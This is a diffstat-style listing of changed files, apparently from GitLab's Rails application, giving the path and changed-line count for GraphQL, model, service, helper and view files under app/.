-rw-r--r--app/graphql/queries/design_management/design_permissions.query.graphql1
-rw-r--r--app/graphql/queries/design_management/get_design_list.query.graphql1
-rw-r--r--app/graphql/queries/epic/epic_children.query.graphql132
-rw-r--r--app/graphql/queries/epic/epic_details.query.graphql3
-rw-r--r--app/graphql/queries/pipelines/get_pipeline_details.query.graphql13
-rw-r--r--app/graphql/queries/releases/all_releases.query.graphql4
-rw-r--r--app/graphql/queries/repository/path_last_commit.query.graphql6
-rw-r--r--app/graphql/queries/snippet/project_permissions.query.graphql1
-rw-r--r--app/graphql/queries/snippet/snippet.query.graphql1
-rw-r--r--app/graphql/queries/snippet/user_permissions.query.graphql1
-rw-r--r--app/graphql/resolvers/base_issues_resolver.rb6
-rw-r--r--app/graphql/resolvers/ci/jobs_resolver.rb2
-rw-r--r--app/graphql/resolvers/ci/runner_status_resolver.rb24
-rw-r--r--app/graphql/resolvers/ci/runners_resolver.rb5
-rw-r--r--app/graphql/resolvers/clusters/agent_activity_events_resolver.rb25
-rw-r--r--app/graphql/resolvers/clusters/agents_resolver.rb5
-rw-r--r--app/graphql/resolvers/container_repository_tags_resolver.rb49
-rw-r--r--app/graphql/resolvers/design_management/designs_resolver.rb10
-rw-r--r--app/graphql/resolvers/design_management/version/design_at_version_resolver.rb8
-rw-r--r--app/graphql/resolvers/kas/agent_configurations_resolver.rb2
-rw-r--r--app/graphql/resolvers/package_pipelines_resolver.rb57
-rw-r--r--app/graphql/resolvers/project_jobs_resolver.rb1
-rw-r--r--app/graphql/resolvers/project_pipeline_resolver.rb7
-rw-r--r--app/graphql/resolvers/project_pipelines_resolver.rb2
-rw-r--r--app/graphql/resolvers/snippets/blobs_resolver.rb2
-rw-r--r--app/graphql/resolvers/users/participants_resolver.rb13
-rw-r--r--app/graphql/types/base_edge.rb7
-rw-r--r--app/graphql/types/base_field.rb2
-rw-r--r--app/graphql/types/base_object.rb1
-rw-r--r--app/graphql/types/boards/board_issue_input_type.rb4
-rw-r--r--app/graphql/types/ci/build_need_type.rb2
-rw-r--r--app/graphql/types/ci/job_need_union.rb21
-rw-r--r--app/graphql/types/ci/job_type.rb28
-rw-r--r--app/graphql/types/ci/pipeline_type.rb10
-rw-r--r--app/graphql/types/ci/runner_status_enum.rb49
-rw-r--r--app/graphql/types/ci/runner_type.rb9
-rw-r--r--app/graphql/types/ci/runner_web_url_edge.rb2
-rw-r--r--app/graphql/types/ci/stage_type.rb7
-rw-r--r--app/graphql/types/ci/test_case_type.rb2
-rw-r--r--app/graphql/types/ci/test_report_total_type.rb2
-rw-r--r--app/graphql/types/ci/test_suite_summary_type.rb2
-rw-r--r--app/graphql/types/ci/test_suite_type.rb2
-rw-r--r--app/graphql/types/clusters/agent_activity_event_type.rb38
-rw-r--r--app/graphql/types/clusters/agent_type.rb6
-rw-r--r--app/graphql/types/container_repository_details_type.rb9
-rw-r--r--app/graphql/types/container_repository_tags_sort_enum.rb11
-rw-r--r--app/graphql/types/issue_type.rb3
-rw-r--r--app/graphql/types/issue_type_enum.rb2
-rw-r--r--app/graphql/types/merge_request_connection_type.rb2
-rw-r--r--app/graphql/types/merge_request_type.rb10
-rw-r--r--app/graphql/types/namespace_type.rb3
-rw-r--r--app/graphql/types/notes/note_type.rb4
-rw-r--r--app/graphql/types/packages/package_details_type.rb7
-rw-r--r--app/graphql/types/packages/package_type.rb3
-rw-r--r--app/graphql/types/project_statistics_type.rb20
-rw-r--r--app/graphql/types/project_type.rb7
-rw-r--r--app/graphql/types/repository/blob_type.rb9
-rw-r--r--app/graphql/types/root_storage_statistics_type.rb18
-rw-r--r--app/graphql/types/subscription_type.rb3
-rw-r--r--app/graphql/types/user_callout_feature_name_enum.rb2
-rw-r--r--app/helpers/access_tokens_helper.rb23
-rw-r--r--app/helpers/application_helper.rb4
-rw-r--r--app/helpers/auth_helper.rb34
-rw-r--r--app/helpers/badges_helper.rb99
-rw-r--r--app/helpers/blame_helper.rb15
-rw-r--r--app/helpers/boards_helper.rb9
-rw-r--r--app/helpers/ci/jobs_helper.rb7
-rw-r--r--app/helpers/ci/runners_helper.rb2
-rw-r--r--app/helpers/diff_helper.rb2
-rw-r--r--app/helpers/export_helper.rb2
-rw-r--r--app/helpers/form_helper.rb8
-rw-r--r--app/helpers/ide_helper.rb2
-rw-r--r--app/helpers/integrations_helper.rb54
-rw-r--r--app/helpers/invite_members_helper.rb36
-rw-r--r--app/helpers/issuables_description_templates_helper.rb2
-rw-r--r--app/helpers/issuables_helper.rb11
-rw-r--r--app/helpers/issues_helper.rb4
-rw-r--r--app/helpers/jira_connect_helper.rb3
-rw-r--r--app/helpers/learn_gitlab_helper.rb7
-rw-r--r--app/helpers/markup_helper.rb2
-rw-r--r--app/helpers/merge_requests_helper.rb2
-rw-r--r--app/helpers/namespaces_helper.rb18
-rw-r--r--app/helpers/nav/new_dropdown_helper.rb11
-rw-r--r--app/helpers/notifications_helper.rb1
-rw-r--r--app/helpers/notify_helper.rb17
-rw-r--r--app/helpers/operations_helper.rb2
-rw-r--r--app/helpers/packages_helper.rb11
-rw-r--r--app/helpers/profiles_helper.rb5
-rw-r--r--app/helpers/projects/cluster_agents_helper.rb3
-rw-r--r--app/helpers/projects_helper.rb19
-rw-r--r--app/helpers/routing/graphql_helper.rb4
-rw-r--r--app/helpers/routing/pseudonymization_helper.rb11
-rw-r--r--app/helpers/sorting_helper.rb25
-rw-r--r--app/helpers/system_note_helper.rb4
-rw-r--r--app/helpers/tab_helper.rb36
-rw-r--r--app/helpers/time_zone_helper.rb5
-rw-r--r--app/helpers/tree_helper.rb2
-rw-r--r--app/helpers/user_callouts_helper.rb98
-rw-r--r--app/helpers/users/callouts_helper.rb71
-rw-r--r--app/helpers/users/group_callouts_helper.rb32
-rw-r--r--app/helpers/version_check_helper.rb2
-rw-r--r--app/helpers/x509_helper.rb2
-rw-r--r--app/mailers/emails/in_product_marketing.rb4
-rw-r--r--app/mailers/emails/issues.rb28
-rw-r--r--app/mailers/emails/members.rb29
-rw-r--r--app/mailers/emails/merge_requests.rb47
-rw-r--r--app/mailers/emails/notes.rb15
-rw-r--r--app/mailers/emails/projects.rb8
-rw-r--r--app/mailers/emails/releases.rb5
-rw-r--r--app/models/active_session.rb174
-rw-r--r--app/models/analytics/cycle_analytics/project_stage.rb6
-rw-r--r--app/models/application_record.rb4
-rw-r--r--app/models/application_setting.rb8
-rw-r--r--app/models/application_setting_implementation.rb8
-rw-r--r--app/models/bulk_imports/entity.rb30
-rw-r--r--app/models/bulk_imports/file_transfer/base_config.rb23
-rw-r--r--app/models/bulk_imports/file_transfer/project_config.rb6
-rw-r--r--app/models/bulk_imports/tracker.rb13
-rw-r--r--app/models/chat_name.rb4
-rw-r--r--app/models/ci/build.rb27
-rw-r--r--app/models/ci/job_artifact.rb9
-rw-r--r--app/models/ci/namespace_mirror.rb37
-rw-r--r--app/models/ci/pending_build.rb12
-rw-r--r--app/models/ci/pipeline.rb62
-rw-r--r--app/models/ci/project_mirror.rb16
-rw-r--r--app/models/ci/runner.rb77
-rw-r--r--app/models/ci/runner_namespace.rb1
-rw-r--r--app/models/ci/runner_project.rb1
-rw-r--r--app/models/ci/stage.rb1
-rw-r--r--app/models/clusters/agent.rb8
-rw-r--r--app/models/clusters/agent_token.rb17
-rw-r--r--app/models/clusters/agents/activity_event.rb37
-rw-r--r--app/models/clusters/applications/runner.rb31
-rw-r--r--app/models/clusters/platforms/kubernetes.rb19
-rw-r--r--app/models/commit.rb38
-rw-r--r--app/models/commit_signatures/gpg_signature.rb53
-rw-r--r--app/models/commit_signatures/x509_commit_signature.rb16
-rw-r--r--app/models/commit_status.rb26
-rw-r--r--app/models/concerns/after_commit_queue.rb50
-rw-r--r--app/models/concerns/calloutable.rb15
-rw-r--r--app/models/concerns/ci/contextable.rb27
-rw-r--r--app/models/concerns/commit_signature.rb50
-rw-r--r--app/models/concerns/diff_positionable_note.rb9
-rw-r--r--app/models/concerns/enums/ci/commit_status.rb1
-rw-r--r--app/models/concerns/import_state/sidekiq_job_tracker.rb2
-rw-r--r--app/models/concerns/incident_management/escalatable.rb2
-rw-r--r--app/models/concerns/issuable.rb18
-rw-r--r--app/models/concerns/loose_foreign_key.rb79
-rw-r--r--app/models/concerns/merge_request_reviewer_state.rb6
-rw-r--r--app/models/concerns/packages/debian/component_file.rb8
-rw-r--r--app/models/concerns/participable.rb18
-rw-r--r--app/models/concerns/partitioned_table.rb3
-rw-r--r--app/models/concerns/relative_positioning.rb18
-rw-r--r--app/models/concerns/resolvable_discussion.rb5
-rw-r--r--app/models/concerns/sha_attribute.rb5
-rw-r--r--app/models/concerns/token_authenticatable_strategies/encryption_helper.rb2
-rw-r--r--app/models/concerns/transactions.rb12
-rw-r--r--app/models/container_repository.rb11
-rw-r--r--app/models/context_commits_diff.rb1
-rw-r--r--app/models/customer_relations/contact.rb7
-rw-r--r--app/models/customer_relations/issue_contact.rb8
-rw-r--r--app/models/deployment.rb16
-rw-r--r--app/models/dev_ops_report/metric.rb14
-rw-r--r--app/models/environment.rb2
-rw-r--r--app/models/error_tracking/error_event.rb3
-rw-r--r--app/models/event.rb9
-rw-r--r--app/models/gpg_key.rb6
-rw-r--r--app/models/gpg_signature.rb86
-rw-r--r--app/models/group.rb10
-rw-r--r--app/models/hooks/project_hook.rb11
-rw-r--r--app/models/hooks/web_hook.rb32
-rw-r--r--app/models/incident_management/issuable_escalation_status.rb3
-rw-r--r--app/models/instance_configuration.rb1
-rw-r--r--app/models/integration.rb6
-rw-r--r--app/models/integrations/base_issue_tracker.rb2
-rw-r--r--app/models/integrations/jira.rb54
-rw-r--r--app/models/integrations/shimo.rb13
-rw-r--r--app/models/issue.rb43
-rw-r--r--app/models/issue/email.rb10
-rw-r--r--app/models/lfs_object.rb1
-rw-r--r--app/models/lfs_objects_project.rb12
-rw-r--r--app/models/loose_foreign_keys/deleted_record.rb36
-rw-r--r--app/models/member.rb17
-rw-r--r--app/models/members/group_member.rb11
-rw-r--r--app/models/members/project_member.rb11
-rw-r--r--app/models/members_preloader.rb2
-rw-r--r--app/models/merge_request.rb39
-rw-r--r--app/models/merge_request_assignee.rb6
-rw-r--r--app/models/merge_request_diff.rb2
-rw-r--r--app/models/merge_request_reviewer.rb6
-rw-r--r--app/models/namespace.rb26
-rw-r--r--app/models/namespaces/project_namespace.rb4
-rw-r--r--app/models/namespaces/sync_event.rb16
-rw-r--r--app/models/namespaces/traversal/linear.rb38
-rw-r--r--app/models/namespaces/traversal/linear_scopes.rb29
-rw-r--r--app/models/namespaces/traversal/recursive.rb1
-rw-r--r--app/models/namespaces/user_namespace.rb2
-rw-r--r--app/models/note.rb11
-rw-r--r--app/models/notification_reason.rb2
-rw-r--r--app/models/packages/build_info.rb6
-rw-r--r--app/models/packages/conan/metadatum.rb27
-rw-r--r--app/models/postgresql/replication_slot.rb2
-rw-r--r--app/models/preloaders/group_policy_preloader.rb7
-rw-r--r--app/models/preloaders/group_root_ancestor_preloader.rb32
-rw-r--r--app/models/project.rb75
-rw-r--r--app/models/project_authorization.rb20
-rw-r--r--app/models/project_feature.rb46
-rw-r--r--app/models/project_setting.rb1
-rw-r--r--app/models/projects/sync_event.rb16
-rw-r--r--app/models/repository.rb2
-rw-r--r--app/models/serverless/domain.rb2
-rw-r--r--app/models/snippet.rb169
-rw-r--r--app/models/system_note_metadata.rb1
-rw-r--r--app/models/todo.rb1
-rw-r--r--app/models/u2f_registration.rb6
-rw-r--r--app/models/user.rb54
-rw-r--r--app/models/user_callout.rb47
-rw-r--r--app/models/user_detail.rb3
-rw-r--r--app/models/users/callout.rb51
-rw-r--r--app/models/users/calloutable.rb17
-rw-r--r--app/models/users/group_callout.rb2
-rw-r--r--app/models/wiki_page.rb2
-rw-r--r--app/models/work_item/type.rb7
-rw-r--r--app/models/x509_certificate.rb2
-rw-r--r--app/models/x509_commit_signature.rb48
-rw-r--r--app/policies/clusters/agents/activity_event_policy.rb11
-rw-r--r--app/policies/group_policy.rb16
-rw-r--r--app/policies/namespace_policy.rb3
-rw-r--r--app/policies/namespaces/group_project_namespace_shared_policy.rb9
-rw-r--r--app/policies/namespaces/project_namespace_policy.rb2
-rw-r--r--app/policies/namespaces/user_namespace_policy.rb5
-rw-r--r--app/presenters/blob_presenter.rb53
-rw-r--r--app/presenters/ci/pipeline_presenter.rb16
-rw-r--r--app/presenters/commit_status_presenter.rb3
-rw-r--r--app/presenters/merge_request_presenter.rb11
-rw-r--r--app/presenters/packages/npm/package_presenter.rb10
-rw-r--r--app/presenters/projects/security/configuration_presenter.rb98
-rw-r--r--app/presenters/prometheus_alert_presenter.rb2
-rw-r--r--app/presenters/snippet_blob_presenter.rb2
-rw-r--r--app/serializers/analytics/cycle_analytics/stage_entity.rb16
-rw-r--r--app/serializers/build_details_entity.rb6
-rw-r--r--app/serializers/build_serializer.rb10
-rw-r--r--app/serializers/ci/job_entity.rb96
-rw-r--r--app/serializers/ci/job_serializer.rb12
-rw-r--r--app/serializers/ci/pipeline_entity.rb4
-rw-r--r--app/serializers/deployment_entity.rb10
-rw-r--r--app/serializers/deployment_serializer.rb2
-rw-r--r--app/serializers/diff_file_entity.rb2
-rw-r--r--app/serializers/job_entity.rb94
-rw-r--r--app/serializers/job_group_entity.rb2
-rw-r--r--app/serializers/member_entity.rb6
-rw-r--r--app/serializers/merge_request_widget_entity.rb2
-rw-r--r--app/serializers/merge_requests/pipeline_entity.rb4
-rw-r--r--app/serializers/note_entity.rb2
-rw-r--r--app/serializers/stage_entity.rb4
-rw-r--r--app/services/admin/propagate_integration_service.rb56
-rw-r--r--app/services/admin/propagate_service_template.rb11
-rw-r--r--app/services/audit_event_service.rb11
-rw-r--r--app/services/auth/container_registry_authentication_service.rb2
-rw-r--r--app/services/authorized_project_update/find_records_due_for_refresh_service.rb6
-rw-r--r--app/services/authorized_project_update/project_group_link_create_service.rb12
-rw-r--r--app/services/authorized_project_update/project_recalculate_service.rb12
-rw-r--r--app/services/auto_merge/base_service.rb2
-rw-r--r--app/services/bulk_imports/create_service.rb2
-rw-r--r--app/services/bulk_imports/relation_export_service.rb2
-rw-r--r--app/services/bulk_imports/tree_export_service.rb8
-rw-r--r--app/services/bulk_imports/uploads_export_service.rb3
-rw-r--r--app/services/ci/create_pipeline_service.rb40
-rw-r--r--app/services/ci/expire_pipeline_cache_service.rb27
-rw-r--r--app/services/ci/job_artifacts/destroy_all_expired_service.rb40
-rw-r--r--app/services/ci/parse_dotenv_artifact_service.rb8
-rw-r--r--app/services/ci/pipeline_processing/atomic_processing_service.rb4
-rw-r--r--app/services/ci/play_build_service.rb2
-rw-r--r--app/services/ci/process_sync_events_service.rb58
-rw-r--r--app/services/ci/queue/build_queue_service.rb10
-rw-r--r--app/services/ci/queue/builds_table_strategy.rb10
-rw-r--r--app/services/ci/queue/pending_builds_strategy.rb18
-rw-r--r--app/services/ci/register_job_service.rb9
-rw-r--r--app/services/ci/retry_build_service.rb38
-rw-r--r--app/services/ci/stuck_builds/drop_pending_service.rb11
-rw-r--r--app/services/ci/update_build_queue_service.rb12
-rw-r--r--app/services/ci/update_build_state_service.rb5
-rw-r--r--app/services/ci/update_pending_build_service.rb4
-rw-r--r--app/services/clusters/agent_tokens/create_service.rb12
-rw-r--r--app/services/clusters/cleanup/project_namespace_service.rb6
-rw-r--r--app/services/clusters/cleanup/service_account_service.rb4
-rw-r--r--app/services/cohorts_service.rb2
-rw-r--r--app/services/concerns/admin/propagate_service.rb37
-rw-r--r--app/services/concerns/audit_event_save_type.rb26
-rw-r--r--app/services/concerns/protected_ref_name_sanitizer.rb12
-rw-r--r--app/services/dependency_proxy/find_cached_manifest_service.rb46
-rw-r--r--app/services/dependency_proxy/find_or_create_manifest_service.rb69
-rw-r--r--app/services/dependency_proxy/pull_manifest_service.rb47
-rw-r--r--app/services/deployments/older_deployments_drop_service.rb2
-rw-r--r--app/services/events/destroy_service.rb21
-rw-r--r--app/services/feature_flags/base_service.rb1
-rw-r--r--app/services/git/branch_hooks_service.rb4
-rw-r--r--app/services/git/branch_push_service.rb8
-rw-r--r--app/services/git/process_ref_changes_service.rb9
-rw-r--r--app/services/google_cloud/service_accounts_service.rb25
-rw-r--r--app/services/gravatar_service.rb2
-rw-r--r--app/services/groups/transfer_service.rb12
-rw-r--r--app/services/groups/update_shared_runners_service.rb16
-rw-r--r--app/services/import/github_service.rb11
-rw-r--r--app/services/incident_management/issuable_escalation_statuses/create_service.rb36
-rw-r--r--app/services/integrations/propagate_service.rb80
-rw-r--r--app/services/integrations/propagate_template_service.rb10
-rw-r--r--app/services/issuable_base_service.rb19
-rw-r--r--app/services/issues/base_service.rb2
-rw-r--r--app/services/issues/create_service.rb7
-rw-r--r--app/services/issues/set_crm_contacts_service.rb81
-rw-r--r--app/services/loose_foreign_keys/batch_cleaner_service.rb41
-rw-r--r--app/services/loose_foreign_keys/cleaner_service.rb30
-rw-r--r--app/services/loose_foreign_keys/process_deleted_records_service.rb33
-rw-r--r--app/services/members/create_service.rb12
-rw-r--r--app/services/members/creator_service.rb1
-rw-r--r--app/services/merge_requests/after_create_service.rb27
-rw-r--r--app/services/merge_requests/approval_service.rb1
-rw-r--r--app/services/merge_requests/base_service.rb14
-rw-r--r--app/services/merge_requests/bulk_remove_attention_requested_service.rb22
-rw-r--r--app/services/merge_requests/close_service.rb1
-rw-r--r--app/services/merge_requests/create_pipeline_service.rb2
-rw-r--r--app/services/merge_requests/handle_assignees_change_service.rb2
-rw-r--r--app/services/merge_requests/outdated_discussion_diff_lines_service.rb22
-rw-r--r--app/services/merge_requests/post_merge_service.rb1
-rw-r--r--app/services/merge_requests/rebase_service.rb18
-rw-r--r--app/services/merge_requests/remove_attention_requested_service.rb41
-rw-r--r--app/services/merge_requests/resolved_discussion_notification_service.rb1
-rw-r--r--app/services/merge_requests/squash_service.rb6
-rw-r--r--app/services/merge_requests/toggle_attention_requested_service.rb16
-rw-r--r--app/services/namespaces/invite_team_email_service.rb3
-rw-r--r--app/services/notification_recipients/build_service.rb4
-rw-r--r--app/services/notification_recipients/builder/attention_requested.rb23
-rw-r--r--app/services/notification_service.rb8
-rw-r--r--app/services/packages/debian/generate_distribution_service.rb2
-rw-r--r--app/services/packages/npm/create_package_service.rb4
-rw-r--r--app/services/pages/zip_directory_service.rb4
-rw-r--r--app/services/projects/destroy_service.rb26
-rw-r--r--app/services/projects/prometheus/alerts/create_service.rb2
-rw-r--r--app/services/projects/prometheus/alerts/destroy_service.rb2
-rw-r--r--app/services/projects/prometheus/alerts/update_service.rb2
-rw-r--r--app/services/projects/transfer_service.rb14
-rw-r--r--app/services/protected_branches/base_service.rb17
-rw-r--r--app/services/protected_tags/base_service.rb16
-rw-r--r--app/services/protected_tags/create_service.rb4
-rw-r--r--app/services/protected_tags/update_service.rb4
-rw-r--r--app/services/repositories/changelog_service.rb12
-rw-r--r--app/services/search_service.rb62
-rw-r--r--app/services/service_ping/devops_report_service.rb26
-rw-r--r--app/services/service_ping/submit_service.rb40
-rw-r--r--app/services/system_note_service.rb20
-rw-r--r--app/services/system_notes/issuables_service.rb101
-rw-r--r--app/services/todos/destroy/private_features_service.rb46
-rw-r--r--app/services/todos/destroy/unauthorized_features_service.rb43
-rw-r--r--app/services/users/dismiss_callout_service.rb17
-rw-r--r--app/services/users/dismiss_group_callout_service.rb2
-rw-r--r--app/services/users/dismiss_user_callout_service.rb17
-rw-r--r--app/services/users/refresh_authorized_projects_service.rb8
-rw-r--r--app/services/verify_pages_domain_service.rb3
-rw-r--r--app/uploaders/lfs_object_uploader.rb2
-rw-r--r--app/validators/json_schemas/error_tracking_event_payload.json2
-rw-r--r--app/views/admin/application_settings/_account_and_limit.html.haml1
-rw-r--r--app/views/admin/application_settings/_package_registry.html.haml3
-rw-r--r--app/views/admin/application_settings/_snowplow.html.haml6
-rw-r--r--app/views/admin/application_settings/network.html.haml21
-rw-r--r--app/views/admin/dashboard/_security_newsletter_callout.html.haml2
-rw-r--r--app/views/admin/dashboard/index.html.haml2
-rw-r--r--app/views/admin/groups/show.html.haml14
-rw-r--r--app/views/admin/hooks/edit.html.haml2
-rw-r--r--app/views/admin/labels/index.html.haml24
-rw-r--r--app/views/admin/projects/_archived.html.haml3
-rw-r--r--app/views/admin/projects/_projects.html.haml3
-rw-r--r--app/views/admin/projects/show.html.haml4
-rw-r--r--app/views/admin/users/_access_levels.html.haml5
-rw-r--r--app/views/admin/users/_user_detail.html.haml20
-rw-r--r--app/views/admin/users/projects.html.haml4
-rw-r--r--app/views/admin/users/show.html.haml2
-rw-r--r--app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml2
-rw-r--r--app/views/clusters/clusters/show.html.haml5
-rw-r--r--app/views/devise/confirmations/almost_there.haml2
-rw-r--r--app/views/devise/sessions/new.html.haml2
-rw-r--r--app/views/devise/shared/_tab_single.html.haml5
-rw-r--r--app/views/groups/_import_group_from_file_panel.html.haml14
-rw-r--r--app/views/groups/_invite_members_side_nav_link.html.haml1
-rw-r--r--app/views/groups/_personalize.html.haml2
-rw-r--r--app/views/groups/_project_badges.html.haml2
-rw-r--r--app/views/groups/crm/contacts.html.haml4
-rw-r--r--app/views/groups/crm/contacts/index.html.haml4
-rw-r--r--app/views/groups/crm/organizations.html.haml4
-rw-r--r--app/views/groups/crm/organizations/index.html.haml4
-rw-r--r--app/views/groups/packages/index.html.haml6
-rw-r--r--app/views/groups/projects.html.haml5
-rw-r--r--app/views/groups/registry/repositories/index.html.haml4
-rw-r--r--app/views/groups/runners/_group_runners.html.haml2
-rw-r--r--app/views/groups/settings/_advanced.html.haml5
-rw-r--r--app/views/groups/settings/_export.html.haml14
-rw-r--r--app/views/groups/settings/_transfer.html.haml11
-rw-r--r--app/views/groups/settings/ci_cd/_auto_devops_form.html.haml2
-rw-r--r--app/views/groups/settings/packages_and_registries/show.html.haml3
-rw-r--r--app/views/groups/show.html.haml2
-rw-r--r--app/views/help/instance_configuration/_package_registry.html.haml4
-rw-r--r--app/views/import/bitbucket/deploy_key.js.haml3
-rw-r--r--app/views/jira_connect/subscriptions/index.html.haml7
-rw-r--r--app/views/layouts/_flash.html.haml4
-rw-r--r--app/views/layouts/_google_tag_manager_body.html.haml2
-rw-r--r--app/views/layouts/_google_tag_manager_head.html.haml15
-rw-r--r--app/views/layouts/_page.html.haml2
-rw-r--r--app/views/layouts/_snowplow.html.haml6
-rw-r--r--app/views/layouts/header/_current_user_dropdown.html.haml2
-rw-r--r--app/views/layouts/header/_default.html.haml16
-rw-r--r--app/views/layouts/header/_help_dropdown.html.haml2
-rw-r--r--app/views/layouts/header/_registration_enabled_callout.html.haml2
-rw-r--r--app/views/layouts/in_product_marketing_mailer.html.haml194
-rw-r--r--app/views/notify/_note_email.html.haml2
-rw-r--r--app/views/notify/account_validation_email.html.haml16
-rw-r--r--app/views/notify/account_validation_email.text.erb15
-rw-r--r--app/views/notify/attention_requested_merge_request_email.html.haml2
-rw-r--r--app/views/notify/attention_requested_merge_request_email.text.erb1
-rw-r--r--app/views/notify/in_product_marketing_email.html.haml286
-rw-r--r--app/views/notify/issue_due_email.html.haml2
-rw-r--r--app/views/notify/member_invited_email.html.haml20
-rw-r--r--app/views/notify/new_issue_email.html.haml2
-rw-r--r--app/views/notify/new_merge_request_email.html.haml2
-rw-r--r--app/views/notify/new_release_email.html.haml2
-rw-r--r--app/views/notify/service_desk_new_note_email.html.haml2
-rw-r--r--app/views/profiles/accounts/_providers.html.haml7
-rw-r--r--app/views/profiles/keys/_form.html.haml5
-rw-r--r--app/views/profiles/notifications/_group_settings.html.haml2
-rw-r--r--app/views/profiles/personal_access_tokens/index.html.haml116
-rw-r--r--app/views/profiles/show.html.haml2
-rw-r--r--app/views/profiles/two_factor_auths/show.html.haml2
-rw-r--r--app/views/projects/_files.html.haml5
-rw-r--r--app/views/projects/_invite_members_side_nav_link.html.haml1
-rw-r--r--app/views/projects/_merge_request_merge_commit_template.html.haml4
-rw-r--r--app/views/projects/_merge_request_settings.html.haml2
-rw-r--r--app/views/projects/_merge_request_squash_commit_template.html.haml16
-rw-r--r--app/views/projects/_new_project_fields.html.haml23
-rw-r--r--app/views/projects/_project_templates.html.haml2
-rw-r--r--app/views/projects/_remove_fork.html.haml5
-rw-r--r--app/views/projects/_transfer.html.haml10
-rw-r--r--app/views/projects/blame/show.html.haml2
-rw-r--r--app/views/projects/blob/_content.html.haml1
-rw-r--r--app/views/projects/blob/_header.html.haml1
-rw-r--r--app/views/projects/blob/show.html.haml4
-rw-r--r--app/views/projects/branches/index.html.haml2
-rw-r--r--app/views/projects/buttons/_dropdown.html.haml42
-rw-r--r--app/views/projects/buttons/_fork.html.haml14
-rw-r--r--app/views/projects/ci/builds/_build.html.haml11
-rw-r--r--app/views/projects/commit/pipelines.html.haml1
-rw-r--r--app/views/projects/compare/index.html.haml2
-rw-r--r--app/views/projects/default_branch/_show.html.haml2
-rw-r--r--app/views/projects/diffs/_content.html.haml1
-rw-r--r--app/views/projects/diffs/_text_file.html.haml2
-rw-r--r--app/views/projects/feature_flags/new.html.haml4
-rw-r--r--app/views/projects/forks/index.html.haml44
-rw-r--r--app/views/projects/generic_commit_statuses/_generic_commit_status.html.haml6
-rw-r--r--app/views/projects/google_cloud/errors/gcp_error.html.haml6
-rw-r--r--app/views/projects/google_cloud/errors/no_gcp_projects.html.haml6
-rw-r--r--app/views/projects/google_cloud/service_accounts/index.html.haml8
-rw-r--r--app/views/projects/hooks/edit.html.haml4
-rw-r--r--app/views/projects/integrations/shimos/show.html.haml10
-rw-r--r--app/views/projects/issues/_issue.html.haml8
-rw-r--r--app/views/projects/issues/_new_branch.html.haml2
-rw-r--r--app/views/projects/issues/_related_branches.html.haml2
-rw-r--r--app/views/projects/issues/index.html.haml2
-rw-r--r--app/views/projects/jobs/show.html.haml5
-rw-r--r--app/views/projects/learn_gitlab/index.html.haml3
-rw-r--r--app/views/projects/merge_requests/_merge_request.html.haml5
-rw-r--r--app/views/projects/merge_requests/_mr_title.html.haml2
-rw-r--r--app/views/projects/merge_requests/creations/_new_submit.html.haml6
-rw-r--r--app/views/projects/merge_requests/index.html.haml2
-rw-r--r--app/views/projects/merge_requests/invalid.html.haml29
-rw-r--r--app/views/projects/merge_requests/show.html.haml8
-rw-r--r--app/views/projects/mirrors/_disabled_mirror_badge.html.haml3
-rw-r--r--app/views/projects/mirrors/_regenerate_public_ssh_key_confirm_modal.html.haml13
-rw-r--r--app/views/projects/network/show.json.erb2
-rw-r--r--app/views/projects/packages/packages/index.html.haml6
-rw-r--r--app/views/projects/pages_domains/_dns.html.haml2
-rw-r--r--app/views/projects/pipeline_schedules/edit.html.haml2
-rw-r--r--app/views/projects/pipelines/_with_tabs.html.haml31
-rw-r--r--app/views/projects/pipelines/charts.html.haml5
-rw-r--r--app/views/projects/pipelines/show.html.haml3
-rw-r--r--app/views/projects/protected_branches/shared/_matching_branch.html.haml2
-rw-r--r--app/views/projects/protected_tags/shared/_matching_tag.html.haml2
-rw-r--r--app/views/projects/protected_tags/shared/_protected_tag.html.haml2
-rw-r--r--app/views/projects/registry/repositories/index.html.haml4
-rw-r--r--app/views/projects/remove_fork.js.haml2
-rw-r--r--app/views/projects/runners/_group_runners.html.haml2
-rw-r--r--app/views/projects/runners/_runner.html.haml3
-rw-r--r--app/views/projects/services/_form.html.haml2
-rw-r--r--app/views/projects/services/prometheus/_custom_metrics.html.haml4
-rw-r--r--app/views/projects/services/prometheus/_metrics.html.haml4
-rw-r--r--app/views/projects/settings/access_tokens/index.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/_autodevops_form.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/show.html.haml23
-rw-r--r--app/views/projects/show.html.haml1
-rw-r--r--app/views/projects/starrers/_starrer.html.haml2
-rw-r--r--app/views/projects/tags/_tag.html.haml13
-rw-r--r--app/views/projects/tags/show.html.haml3
-rw-r--r--app/views/projects/tracings/show.html.haml10
-rw-r--r--app/views/projects/transfer.js.haml2
-rw-r--r--app/views/projects/usage_quotas/index.html.haml2
-rw-r--r--app/views/root/index.html.haml10
-rw-r--r--app/views/search/results/_blob.html.haml3
-rw-r--r--app/views/search/results/_blob_data.html.haml2
-rw-r--r--app/views/search/results/_blob_highlight.html.haml22
-rw-r--r--app/views/search/results/_issuable.html.haml2
-rw-r--r--app/views/shared/_email_with_badge.html.haml9
-rw-r--r--app/views/shared/_flash_user_callout.html.haml2
-rw-r--r--app/views/shared/_milestone_expired.html.haml6
-rw-r--r--app/views/shared/_milestones_filter.html.haml11
-rw-r--r--app/views/shared/_registration_features_discovery_message.html.haml9
-rw-r--r--app/views/shared/_service_settings.html.haml4
-rw-r--r--app/views/shared/_two_factor_auth_recovery_settings_check.html.haml2
-rw-r--r--app/views/shared/builds/_tabs.html.haml14
-rw-r--r--app/views/shared/doorkeeper/applications/_form.html.haml5
-rw-r--r--app/views/shared/doorkeeper/applications/_index.html.haml2
-rw-r--r--app/views/shared/form_elements/_description.html.haml2
-rw-r--r--app/views/shared/integrations/_form.html.haml2
-rw-r--r--app/views/shared/integrations/_index.html.haml2
-rw-r--r--app/views/shared/integrations/_tabs.html.haml2
-rw-r--r--app/views/shared/integrations/edit.html.haml2
-rw-r--r--app/views/shared/integrations/overrides.html.haml2
-rw-r--r--app/views/shared/issuable/_form.html.haml2
-rw-r--r--app/views/shared/issuable/_milestone_dropdown.html.haml12
-rw-r--r--app/views/shared/issuable/_sidebar.html.haml6
-rw-r--r--app/views/shared/issuable/form/_default_templates.html.haml7
-rw-r--r--app/views/shared/issuable/form/_metadata.html.haml12
-rw-r--r--app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml2
-rw-r--r--app/views/shared/issuable/form/_title.html.haml2
